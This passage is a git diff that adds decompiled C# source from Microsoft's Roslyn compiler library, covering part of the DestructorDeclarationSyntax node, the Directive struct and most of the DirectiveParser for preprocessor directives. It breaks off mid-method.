((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + if (body != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)body); + this.body = body; + } + if (expressionBody != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionBody); + this.expressionBody = expressionBody; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal DestructorDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken tildeToken, SyntaxToken identifier, ParameterListSyntax parameterList, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 8; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)tildeToken); + this.tildeToken = tildeToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + if (body != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)body); + this.body = body; + } + if (expressionBody != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionBody); + this.expressionBody = expressionBody; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal DestructorDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken tildeToken, SyntaxToken identifier, ParameterListSyntax parameterList, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 8; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)tildeToken); + this.tildeToken = tildeToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterList); + this.parameterList = parameterList; + if (body != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)body); + this.body = body; + } + if (expressionBody != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionBody); + this.expressionBody = expressionBody; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => modifiers, + 2 => tildeToken, + 3 => identifier, + 4 => parameterList, + 5 => body, + 6 => expressionBody, + 7 => semicolonToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.DestructorDeclarationSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitDestructorDeclaration(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitDestructorDeclaration(this); + } + + public DestructorDeclarationSyntax Update(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken tildeToken, SyntaxToken identifier, ParameterListSyntax parameterList, BlockSyntax body, ArrowExpressionClauseSyntax expressionBody, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || tildeToken != TildeToken || identifier != Identifier || parameterList != ParameterList || body != Body || expressionBody != ExpressionBody || semicolonToken != SemicolonToken) + { + DestructorDeclarationSyntax destructorDeclarationSyntax = SyntaxFactory.DestructorDeclaration(attributeLists, modifiers, tildeToken, identifier, parameterList, body, expressionBody, semicolonToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + destructorDeclarationSyntax = GreenNodeExtensions.WithDiagnosticsGreen(destructorDeclarationSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + destructorDeclarationSyntax = GreenNodeExtensions.WithAnnotationsGreen(destructorDeclarationSyntax, (IEnumerable)annotations); + } + return destructorDeclarationSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new DestructorDeclarationSyntax(base.Kind, attributeLists, modifiers, tildeToken, identifier, parameterList, body, expressionBody, semicolonToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new DestructorDeclarationSyntax(base.Kind, attributeLists, modifiers, tildeToken, identifier, parameterList, body, expressionBody, semicolonToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal DestructorDeclarationSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 8; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + GreenNode val2 = (GreenNode)reader.ReadValue(); + if (val2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val2); + modifiers = val2; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + tildeToken = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + identifier = syntaxToken2; + ParameterListSyntax parameterListSyntax = (ParameterListSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)parameterListSyntax); + parameterList = parameterListSyntax; + BlockSyntax blockSyntax = (BlockSyntax)reader.ReadValue(); + if (blockSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)blockSyntax); + body = blockSyntax; + } + ArrowExpressionClauseSyntax arrowExpressionClauseSyntax = (ArrowExpressionClauseSyntax)reader.ReadValue(); + if (arrowExpressionClauseSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)arrowExpressionClauseSyntax); + expressionBody = arrowExpressionClauseSyntax; + } + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken3 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + semicolonToken = syntaxToken3; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)modifiers); + writer.WriteValue((IObjectWritable)(object)tildeToken); + writer.WriteValue((IObjectWritable)(object)identifier); + writer.WriteValue((IObjectWritable)(object)parameterList); + writer.WriteValue((IObjectWritable)(object)body); + writer.WriteValue((IObjectWritable)(object)expressionBody); + writer.WriteValue((IObjectWritable)(object)semicolonToken); + } + + static DestructorDeclarationSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(DestructorDeclarationSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new DestructorDeclarationSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/Directive.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/Directive.cs new file mode 100644 index 0000000..5e2ad3d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/Directive.cs @@ -0,0 +1,79 @@ +using System.Diagnostics; +using System.Globalization; +using System.IO; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +internal readonly struct Directive +{ + private readonly DirectiveTriviaSyntax _node; + + public SyntaxKind Kind => _node.Kind; + + internal bool IsActive => _node.IsActive; + + internal bool BranchTaken + { + get + { + if (_node is BranchingDirectiveTriviaSyntax branchingDirectiveTriviaSyntax) + { + return branchingDirectiveTriviaSyntax.BranchTaken; + } + return false; + } + } + + internal Directive(DirectiveTriviaSyntax node) + { + _node = node; + } + + public bool IncrementallyEquivalent(Directive other) + { + if (Kind != other.Kind) + { + return false; + } + bool isActive = IsActive; + bool isActive2 = other.IsActive; + if (!isActive && !isActive2) + { + return true; + } + if (isActive != isActive2) + { + return false; + } + switch (Kind) + { + case SyntaxKind.DefineDirectiveTrivia: + case SyntaxKind.UndefDirectiveTrivia: + return GetIdentifier() == other.GetIdentifier(); + case SyntaxKind.IfDirectiveTrivia: + case SyntaxKind.ElifDirectiveTrivia: + case SyntaxKind.ElseDirectiveTrivia: + return BranchTaken == other.BranchTaken; + default: + return true; + } + } + + internal string GetDebuggerDisplay() + { + StringWriter stringWriter = new StringWriter(CultureInfo.InvariantCulture); + ((GreenNode)_node).WriteTo((TextWriter)stringWriter, false, false); + return stringWriter.ToString(); + } + + internal string? GetIdentifier() + { + return _node.Kind switch + { + SyntaxKind.DefineDirectiveTrivia => ((DefineDirectiveTriviaSyntax)_node).Name.ValueText, + SyntaxKind.UndefDirectiveTrivia => ((UndefDirectiveTriviaSyntax)_node).Name.ValueText, + _ => null, + }; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DirectiveParser.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DirectiveParser.cs new file mode 100644 index 0000000..65bc722 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DirectiveParser.cs @@ -0,0 +1,728 @@ +using System; +using System.Globalization; +using System.IO; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal class DirectiveParser : SyntaxParser +{ + private const int MAX_DIRECTIVE_IDENTIFIER_WIDTH = 128; + + private readonly DirectiveStack _context; + + private const int MaxLineValue = 16707565; + + private const int MaxCharacterValue = 65536; + + internal DirectiveParser(Lexer lexer, DirectiveStack context) + : base(lexer, LexerMode.Directive, null, null, allowModeReset: false) + { + _context = context; + } + + public CSharpSyntaxNode ParseDirective(bool isActive, bool endIsActive, bool isAfterFirstTokenInFile, bool isAfterNonWhitespaceOnLine) + { + //IL_021e: Unknown result type (might be due to invalid IL or missing references) + //IL_0224: Invalid comparison between Unknown and I4 + int position = lexer.TextWindow.Position; + SyntaxToken syntaxToken = EatToken(SyntaxKind.HashToken, reportError: false); + if (isAfterNonWhitespaceOnLine) + { + syntaxToken = AddError(syntaxToken, ErrorCode.ERR_BadDirectivePlacement); + } + SyntaxKind contextualKind = base.CurrentToken.ContextualKind; + switch (contextualKind) + { + case SyntaxKind.IfKeyword: + return ParseIfDirective(syntaxToken, EatContextualToken(contextualKind), isActive); + case SyntaxKind.ElifKeyword: + return ParseElifDirective(syntaxToken, EatContextualToken(contextualKind), isActive, endIsActive); + case SyntaxKind.ElseKeyword: + return ParseElseDirective(syntaxToken, EatContextualToken(contextualKind), isActive, endIsActive); + case SyntaxKind.EndIfKeyword: + return ParseEndIfDirective(syntaxToken, EatContextualToken(contextualKind), isActive, endIsActive); + case SyntaxKind.RegionKeyword: + return ParseRegionDirective(syntaxToken, EatContextualToken(contextualKind), isActive); + case SyntaxKind.EndRegionKeyword: + return ParseEndRegionDirective(syntaxToken, EatContextualToken(contextualKind), isActive); + case SyntaxKind.DefineKeyword: + case SyntaxKind.UndefKeyword: + return ParseDefineOrUndefDirective(syntaxToken, EatContextualToken(contextualKind), isActive, isAfterFirstTokenInFile && !isAfterNonWhitespaceOnLine); + case SyntaxKind.WarningKeyword: + case SyntaxKind.ErrorKeyword: + return ParseErrorOrWarningDirective(syntaxToken, EatContextualToken(contextualKind), isActive); + case SyntaxKind.LineKeyword: + { + SyntaxToken syntaxToken3 = EatContextualToken(contextualKind); + return (base.CurrentToken.Kind == SyntaxKind.OpenParenToken) ? ParseLineSpanDirective(syntaxToken, syntaxToken3, isActive) : ParseLineDirective(syntaxToken, syntaxToken3, isActive); + } + case SyntaxKind.PragmaKeyword: + return ParsePragmaDirective(syntaxToken, EatContextualToken(contextualKind), isActive); + case SyntaxKind.ReferenceKeyword: + return ParseReferenceDirective(syntaxToken, EatContextualToken(contextualKind), isActive, isAfterFirstTokenInFile && !isAfterNonWhitespaceOnLine); + case SyntaxKind.LoadKeyword: + return ParseLoadDirective(syntaxToken, EatContextualToken(contextualKind), isActive, isAfterFirstTokenInFile && !isAfterNonWhitespaceOnLine); + case SyntaxKind.NullableKeyword: + return ParseNullableDirective(syntaxToken, EatContextualToken(contextualKind), isActive); + default: + { + if ((int)((ParseOptions)lexer.Options).Kind == 1 && contextualKind == SyntaxKind.ExclamationToken && position == 0 && !((GreenNode)syntaxToken).HasTrailingTrivia) + { + return ParseShebangDirective(syntaxToken, EatToken(SyntaxKind.ExclamationToken), isActive); + } + SyntaxToken syntaxToken2 = EatToken(SyntaxKind.IdentifierToken, reportError: false); + SyntaxToken endOfDirectiveToken = ParseEndOfDirective(ignoreErrors: true); + if (!isAfterNonWhitespaceOnLine) + { + if (!((GreenNode)syntaxToken2).IsMissing) + { + syntaxToken2 = AddError(syntaxToken2, ErrorCode.ERR_PPDirectiveExpected); + } + else + { + syntaxToken = AddError(syntaxToken, ErrorCode.ERR_PPDirectiveExpected); + } + } + return SyntaxFactory.BadDirectiveTrivia(syntaxToken, syntaxToken2, endOfDirectiveToken, isActive); + } + } + } + + private DirectiveTriviaSyntax ParseIfDirective(SyntaxToken hash, SyntaxToken keyword, bool isActive) + { + ExpressionSyntax expressionSyntax = ParseExpression(); + SyntaxToken endOfDirectiveToken = ParseEndOfDirective(ignoreErrors: false); + bool flag = EvaluateBool(expressionSyntax); + bool branchTaken = isActive && flag; + return SyntaxFactory.IfDirectiveTrivia(hash, keyword, expressionSyntax, endOfDirectiveToken, isActive, branchTaken, flag); + } + + private DirectiveTriviaSyntax ParseElifDirective(SyntaxToken hash, SyntaxToken keyword, bool isActive, bool endIsActive) + { + ExpressionSyntax expressionSyntax = ParseExpression(); + SyntaxToken syntaxToken = ParseEndOfDirective(ignoreErrors: false); + if (_context.HasPreviousIfOrElif()) + { + bool flag = EvaluateBool(expressionSyntax); + bool branchTaken = endIsActive && flag && !_context.PreviousBranchTaken(); + return SyntaxFactory.ElifDirectiveTrivia(hash, keyword, expressionSyntax, syntaxToken, endIsActive, branchTaken, flag); + } + syntaxToken = syntaxToken.TokenWithLeadingTrivia(SyntaxList.Concat((GreenNode)(object)SyntaxFactory.DisabledText(((GreenNode)expressionSyntax).ToFullString()), syntaxToken.GetLeadingTrivia())); + if (_context.HasUnfinishedRegion()) + { + return AddError(SyntaxFactory.BadDirectiveTrivia(hash, keyword, syntaxToken, isActive), ErrorCode.ERR_EndRegionDirectiveExpected); + } + if (_context.HasUnfinishedIf()) + { + return AddError(SyntaxFactory.BadDirectiveTrivia(hash, keyword, syntaxToken, isActive), ErrorCode.ERR_EndifDirectiveExpected); + } + return AddError(SyntaxFactory.BadDirectiveTrivia(hash, keyword, syntaxToken, isActive), ErrorCode.ERR_UnexpectedDirective); + } + + private DirectiveTriviaSyntax ParseElseDirective(SyntaxToken hash, SyntaxToken keyword, bool isActive, bool endIsActive) + { + SyntaxToken endOfDirectiveToken = ParseEndOfDirective(ignoreErrors: false); + if (_context.HasPreviousIfOrElif()) + { + bool branchTaken = endIsActive && !_context.PreviousBranchTaken(); + return SyntaxFactory.ElseDirectiveTrivia(hash, keyword, endOfDirectiveToken, endIsActive, branchTaken); + } + if (_context.HasUnfinishedRegion()) + { + return AddError(SyntaxFactory.BadDirectiveTrivia(hash, keyword, endOfDirectiveToken, isActive), ErrorCode.ERR_EndRegionDirectiveExpected); + } + if (_context.HasUnfinishedIf()) + { + return AddError(SyntaxFactory.BadDirectiveTrivia(hash, keyword, endOfDirectiveToken, isActive), ErrorCode.ERR_EndifDirectiveExpected); + } + return AddError(SyntaxFactory.BadDirectiveTrivia(hash, keyword, endOfDirectiveToken, isActive), ErrorCode.ERR_UnexpectedDirective); + } + + private DirectiveTriviaSyntax ParseEndIfDirective(SyntaxToken hash, SyntaxToken keyword, bool isActive, bool endIsActive) + { + SyntaxToken endOfDirectiveToken = ParseEndOfDirective(ignoreErrors: false); + if (_context.HasUnfinishedIf()) + { + return SyntaxFactory.EndIfDirectiveTrivia(hash, keyword, endOfDirectiveToken, endIsActive); + } + if (_context.HasUnfinishedRegion()) + { + return AddError(SyntaxFactory.BadDirectiveTrivia(hash, keyword, endOfDirectiveToken, isActive), ErrorCode.ERR_EndRegionDirectiveExpected); + } + return AddError(SyntaxFactory.BadDirectiveTrivia(hash, keyword, endOfDirectiveToken, isActive), ErrorCode.ERR_UnexpectedDirective); + } + + private DirectiveTriviaSyntax ParseRegionDirective(SyntaxToken hash, SyntaxToken keyword, bool isActive) + { + return SyntaxFactory.RegionDirectiveTrivia(hash, keyword, ParseEndOfDirectiveWithOptionalPreprocessingMessage(), isActive); + } + + private DirectiveTriviaSyntax ParseEndRegionDirective(SyntaxToken hash, SyntaxToken keyword, bool isActive) + { + SyntaxToken endOfDirectiveToken = ParseEndOfDirectiveWithOptionalPreprocessingMessage(); + if (_context.HasUnfinishedRegion()) + { + return SyntaxFactory.EndRegionDirectiveTrivia(hash, keyword, endOfDirectiveToken, isActive); + } + if (_context.HasUnfinishedIf()) + { + return AddError(SyntaxFactory.BadDirectiveTrivia(hash, keyword, endOfDirectiveToken, isActive), ErrorCode.ERR_EndifDirectiveExpected); + } + return AddError(SyntaxFactory.BadDirectiveTrivia(hash, keyword, endOfDirectiveToken, isActive), ErrorCode.ERR_UnexpectedDirective); + } + + private DirectiveTriviaSyntax ParseDefineOrUndefDirective(SyntaxToken hash, SyntaxToken keyword, bool isActive, bool isFollowingToken) + { + if (isFollowingToken) + { + keyword = AddError(keyword, ErrorCode.ERR_PPDefFollowsToken); + } + SyntaxToken identifier = EatToken(SyntaxKind.IdentifierToken, ErrorCode.ERR_IdentifierExpected); + identifier = TruncateIdentifier(identifier); + SyntaxToken endOfDirectiveToken = ParseEndOfDirective(((GreenNode)identifier).IsMissing); + if (keyword.Kind == SyntaxKind.DefineKeyword) + { + return SyntaxFactory.DefineDirectiveTrivia(hash, keyword, identifier, endOfDirectiveToken, isActive); + } + return SyntaxFactory.UndefDirectiveTrivia(hash, keyword, identifier, endOfDirectiveToken, isActive); + } + + private DirectiveTriviaSyntax ParseErrorOrWarningDirective(SyntaxToken hash, SyntaxToken keyword, bool isActive) + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken syntaxToken = ParseEndOfDirectiveWithOptionalPreprocessingMessage(); + bool flag = keyword.Kind == SyntaxKind.ErrorKeyword; + if (isActive) + { + StringWriter stringWriter = new StringWriter(CultureInfo.InvariantCulture); + int num = 0; + bool flag2 = true; + Enumerator enumerator = keyword.TrailingTrivia.GetEnumerator(); + while (enumerator.MoveNext()) + { + CSharpSyntaxNode current = enumerator.Current; + if (flag2) + { + if (current.Kind == SyntaxKind.WhitespaceTrivia) + { + continue; + } + flag2 = false; + } + ((GreenNode)current).WriteTo((TextWriter)stringWriter, true, true); + num += ((GreenNode)current).FullWidth; + } + enumerator = syntaxToken.LeadingTrivia.GetEnumerator(); + while (enumerator.MoveNext()) + { + CSharpSyntaxNode current2 = enumerator.Current; + ((GreenNode)current2).WriteTo((TextWriter)stringWriter, true, true); + num += ((GreenNode)current2).FullWidth; + } + int offset = ((GreenNode)syntaxToken).GetLeadingTriviaWidth() - num; + string text = stringWriter.ToString(); + syntaxToken = AddError(syntaxToken, offset, num, flag ? ErrorCode.ERR_ErrorDirective : ErrorCode.WRN_WarningDirective, text); + if (flag) + { + LanguageVersion result; + if (text.Equals("version", StringComparison.Ordinal)) + { + string productVersion = CommonCompiler.GetProductVersion(typeof(CSharpCompiler)); + LanguageVersion specifiedLanguageVersion = base.Options.SpecifiedLanguageVersion; + LanguageVersion languageVersion = specifiedLanguageVersion.MapSpecifiedToEffectiveVersion(); + string text2 = ((specifiedLanguageVersion == languageVersion) ? specifiedLanguageVersion.ToDisplayString() : (specifiedLanguageVersion.ToDisplayString() + " (" + languageVersion.ToDisplayString() + ")")); + syntaxToken = AddError(syntaxToken, offset, num, ErrorCode.ERR_CompilerAndLanguageVersion, productVersion, text2); + } + else if (base.Options.LanguageVersion != LanguageVersion.Preview && text.StartsWith("version:", StringComparison.Ordinal) && LanguageVersionFacts.TryParse(text.Substring("version:".Length), out result)) + { + ErrorCode errorCode = base.Options.LanguageVersion.GetErrorCode(); + syntaxToken = AddError(syntaxToken, offset, num, errorCode, "version", new CSharpRequiredLanguageVersion(result)); + } + } + } + if (flag) + { + return SyntaxFactory.ErrorDirectiveTrivia(hash, keyword, syntaxToken, isActive); + } + return SyntaxFactory.WarningDirectiveTrivia(hash, keyword, syntaxToken, isActive); + } + + private DirectiveTriviaSyntax ParseLineDirective(SyntaxToken hash, SyntaxToken id, bool isActive) + { + SyntaxToken file = null; + bool afterLineNumber = false; + SyntaxKind kind = base.CurrentToken.Kind; + SyntaxToken syntaxToken; + if (kind == SyntaxKind.DefaultKeyword || kind == SyntaxKind.HiddenKeyword) + { + syntaxToken = EatToken(); + } + else + { + syntaxToken = EatToken(SyntaxKind.NumericLiteralToken, ErrorCode.ERR_InvalidLineNumber, isActive); + afterLineNumber = true; + if (isActive && !((GreenNode)syntaxToken).IsMissing && syntaxToken.Kind == SyntaxKind.NumericLiteralToken) + { + if ((int)syntaxToken.Value < 1) + { + syntaxToken = AddError(syntaxToken, ErrorCode.ERR_InvalidLineNumber); + } + else if ((int)syntaxToken.Value > 16707565) + { + syntaxToken = AddError(syntaxToken, ErrorCode.WRN_TooManyLinesForDebugger); + } + } + if (base.CurrentToken.Kind == SyntaxKind.StringLiteralToken && (((GreenNode)syntaxToken).IsMissing || ((GreenNode)syntaxToken).GetTrailingTriviaWidth() > 0 || ((GreenNode)base.CurrentToken).GetLeadingTriviaWidth() > 0)) + { + file = EatToken(); + afterLineNumber = false; + } + } + SyntaxToken endOfDirectiveToken = ParseEndOfDirective(((GreenNode)syntaxToken).IsMissing || !isActive, afterPragma: false, afterLineNumber); + return SyntaxFactory.LineDirectiveTrivia(hash, id, syntaxToken, file, endOfDirectiveToken, isActive); + } + + private LineSpanDirectiveTriviaSyntax ParseLineSpanDirective(SyntaxToken hash, SyntaxToken lineKeyword, bool isActive) + { + bool reportError = isActive; + int line; + int character; + LineDirectivePositionSyntax lineDirectivePositionSyntax = ParseLineDirectivePosition(ref reportError, out line, out character); + if (noTriviaBetween(lineKeyword, lineDirectivePositionSyntax.GetFirstToken())) + { + lineDirectivePositionSyntax = AddError(lineDirectivePositionSyntax, ErrorCode.ERR_LineSpanDirectiveRequiresSpace); + } + SyntaxToken syntaxToken = EatToken(SyntaxKind.MinusToken, reportError); + if (((GreenNode)syntaxToken).IsMissing) + { + reportError = false; + } + int line2; + int character2; + LineDirectivePositionSyntax lineDirectivePositionSyntax2 = ParseLineDirectivePosition(ref reportError, out line2, out character2); + if (reportError && (line2 < line || (line2 == line && character2 < character))) + { + lineDirectivePositionSyntax2 = AddError(lineDirectivePositionSyntax2, ErrorCode.ERR_LineSpanDirectiveEndLessThanStart); + } + int value; + SyntaxToken syntaxToken2 = ((base.CurrentToken.Kind == SyntaxKind.NumericLiteralToken) ? ParseLineDirectiveNumericLiteral(ref reportError, 1, 65536, out value) : null); + if (noTriviaBetween(lineDirectivePositionSyntax2.GetLastToken(), syntaxToken2)) + { + syntaxToken2 = AddError(syntaxToken2, ErrorCode.ERR_LineSpanDirectiveRequiresSpace); + } + SyntaxToken syntaxToken3 = EatToken(SyntaxKind.StringLiteralToken, ErrorCode.ERR_MissingPPFile, reportError); + if (((GreenNode)syntaxToken3).IsMissing) + { + reportError = false; + } + if (noTriviaBetween(syntaxToken2 ?? lineDirectivePositionSyntax2.GetLastToken(), syntaxToken3)) + { + syntaxToken3 = AddError(syntaxToken3, ErrorCode.ERR_LineSpanDirectiveRequiresSpace); + } + SyntaxToken endOfDirectiveToken = ParseEndOfDirective(!reportError); + return SyntaxFactory.LineSpanDirectiveTrivia(hash, lineKeyword, lineDirectivePositionSyntax, syntaxToken, lineDirectivePositionSyntax2, syntaxToken2, syntaxToken3, endOfDirectiveToken, isActive); + static bool noTriviaBetween(SyntaxToken token1, SyntaxToken token2) + { + if (token1 != null && !((GreenNode)token1).IsMissing && token2 != null && !((GreenNode)token2).IsMissing) + { + return LanguageParser.NoTriviaBetween(token1, token2); + } + return false; + } + } + + private LineDirectivePositionSyntax ParseLineDirectivePosition(ref bool reportError, out int line, out int character) + { + SyntaxToken syntaxToken = EatToken(SyntaxKind.OpenParenToken, reportError); + if (((GreenNode)syntaxToken).IsMissing) + { + reportError = false; + } + SyntaxToken line2 = ParseLineDirectiveNumericLiteral(ref reportError, 1, 16707565, out line); + SyntaxToken syntaxToken2 = EatToken(SyntaxKind.CommaToken, reportError); + if (((GreenNode)syntaxToken2).IsMissing) + { + reportError = false; + } + SyntaxToken character2 = ParseLineDirectiveNumericLiteral(ref reportError, 1, 65536, out character); + SyntaxToken syntaxToken3 = EatToken(SyntaxKind.CloseParenToken, reportError); + if (((GreenNode)syntaxToken3).IsMissing) + { + reportError = false; + } + return SyntaxFactory.LineDirectivePosition(syntaxToken, line2, syntaxToken2, character2, syntaxToken3); + } + + private SyntaxToken ParseLineDirectiveNumericLiteral(ref bool reportError, int minValue, int maxValue, out int value) + { + SyntaxToken syntaxToken = EatToken(SyntaxKind.NumericLiteralToken, ErrorCode.ERR_LineSpanDirectiveInvalidValue, reportError); + value = 0; + if (((GreenNode)syntaxToken).IsMissing) + { + reportError = false; + } + else if (syntaxToken.Kind == SyntaxKind.NumericLiteralToken) + { + value = (int)syntaxToken.Value; + if (value < minValue || value > maxValue) + { + syntaxToken = AddError(syntaxToken, ErrorCode.ERR_LineSpanDirectiveInvalidValue); + reportError = false; + } + } + return syntaxToken; + } + + private DirectiveTriviaSyntax ParseReferenceDirective(SyntaxToken hash, SyntaxToken keyword, bool isActive, bool isFollowingToken) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + if (isActive) + { + if ((int)((ParseOptions)base.Options).Kind == 0) + { + keyword = AddError(keyword, ErrorCode.ERR_ReferenceDirectiveOnlyAllowedInScripts); + } + else if (isFollowingToken) + { + keyword = AddError(keyword, ErrorCode.ERR_PPReferenceFollowsToken); + } + } + SyntaxToken syntaxToken = EatToken(SyntaxKind.StringLiteralToken, ErrorCode.ERR_ExpectedPPFile, isActive); + SyntaxToken endOfDirectiveToken = ParseEndOfDirective(((GreenNode)syntaxToken).IsMissing || !isActive); + return SyntaxFactory.ReferenceDirectiveTrivia(hash, keyword, syntaxToken, endOfDirectiveToken, isActive); + } + + private DirectiveTriviaSyntax ParseLoadDirective(SyntaxToken hash, SyntaxToken keyword, bool isActive, bool isFollowingToken) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + if (isActive) + { + if ((int)((ParseOptions)base.Options).Kind == 0) + { + keyword = AddError(keyword, ErrorCode.ERR_LoadDirectiveOnlyAllowedInScripts); + } + else if (isFollowingToken) + { + keyword = AddError(keyword, ErrorCode.ERR_PPLoadFollowsToken); + } + } + SyntaxToken syntaxToken = EatToken(SyntaxKind.StringLiteralToken, ErrorCode.ERR_ExpectedPPFile, isActive); + SyntaxToken endOfDirectiveToken = ParseEndOfDirective(((GreenNode)syntaxToken).IsMissing || !isActive); + return SyntaxFactory.LoadDirectiveTrivia(hash, keyword, syntaxToken, endOfDirectiveToken, isActive); + } + + private DirectiveTriviaSyntax ParseNullableDirective(SyntaxToken hash, SyntaxToken token, bool isActive) + { + if (isActive) + { + token = CheckFeatureAvailability(token, 